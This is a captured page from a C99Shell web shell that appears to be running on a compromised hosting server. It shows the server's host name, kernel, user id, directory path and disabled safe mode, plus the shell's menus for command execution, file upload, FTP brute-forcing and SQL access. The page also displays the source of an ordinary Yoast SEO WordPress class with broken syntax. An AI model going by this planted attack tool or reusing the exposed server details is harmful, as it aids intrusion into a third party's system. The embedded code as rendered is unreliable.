!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache. PHP/5.6.40-67+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux hosting1.erectacloud.it 5.4.0-182-generic #202-Ubuntu SMP Fri Apr 26 12:29:36 UTC
2024 x86_64
 

uid=5229(web473) gid=5117(client172) groups=5117(client172),5002(sshusers) 

Safe-mode: OFF (not secure)

/var/www/clients/client172/web473/web/OLD_WP/wp-content/plugins/wordpress-seo/admin/onpage/   drwxr-xr-x
Free 179.26 GB of 490.84 GB (36.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-onpage-option.php (2.58 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

/**
 * This class handles the data for the option where the OnPage.org data is stored.
 */
class WPSEO_OnPage_Option {

    const 
NOT_FETCHED      99;
    const 
IS_INDEXABLE     1;
    const 
IS_NOT_INDEXABLE 0;
    const 
CANNOT_FETCH     = -1;

    
/**
     *  The name of the option where data will be stored
     */
    
const OPTION_NAME 'wpseo_onpage';

    
/**
     * The key of the status in the option
     */
    
const STATUS 'status';

    
/**
     * The key of the last fetch date in the option.
     */
    
const LAST_FETCH 'last_fetch';

    
/**
     * The limit for fetching the status manually.
     */
    
const FETCH_LIMIT 15;

    
/**
     * @var array The OnPage.org option stored in the database.
     */
    
private $onpage_option;

    
/**
     * Setting the object by setting the properties
     */
    
public function __construct() {
        
$this->onpage_option $this->get_option();
    }

    
/**
     * Getting the status from the option.
     *
     * @return string
     */
    
public function get_status() {
        if ( 
array_key_existsself::STATUS$this->onpage_option ) ) {
            return 
$this->onpage_optionself::STATUS ];
        }

        return 
self::CANNOT_FETCH;
    }

    
/**
     * Saving the status to the options.
     *
     * @param string $status The status to save.
     */
    
public function set_status$status ) {
        
$this->onpage_optionself::STATUS ] = $status;
    }

    
/**
     * Saving the last fetch timestamp to the options.
     *
     * @param integer $timestamp Timestamp with the new value.
     */
    
public function set_last_fetch$timestamp ) {
        
$this->onpage_optionself::LAST_FETCH ] = $timestamp;
    }

    
/**
     * Check if the last fetch is within the time of 60 minutes
     *
     * @return bool
     */
    
public function should_be_fetched() {
        return ( ( 
time() - $this->onpage_optionself::LAST_FETCH ] ) > self::FETCH_LIMIT );
    }

    
/**
     * Saving the option with the current data
     */
    
public function save_option() {
        
update_optionself::OPTION_NAME$this->onpage_option );
    }

    
/**
     * Returns the value of the onpage_enabled status
     *
     * @return bool
     */
    
public function is_enabled() {
        
$options get_option'wpseo' );

        return ! empty( 
$options['onpage_indexability'] );
    }

    
/**
     * Getting the option with the OnPage.org data
     *
     * @return array
     */
    
private function get_option() {
        return 
get_optionself::OPTION_NAME, array( self::STATUS => self::NOT_FETCHEDself::LAST_FETCH => ) );
    }

    
/**
     * @deprecated 3.0.2
     * @codeCoverageIgnore
     *
     * Returns the indexable status of the website.
     *
     * @return bool
     */
    
public function is_indexable() {
        
_deprecated_function__METHOD__'WPSEO 3.0.2' );

        return 
self::IS_INDEXABLE === $this->get_status();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.01 ]--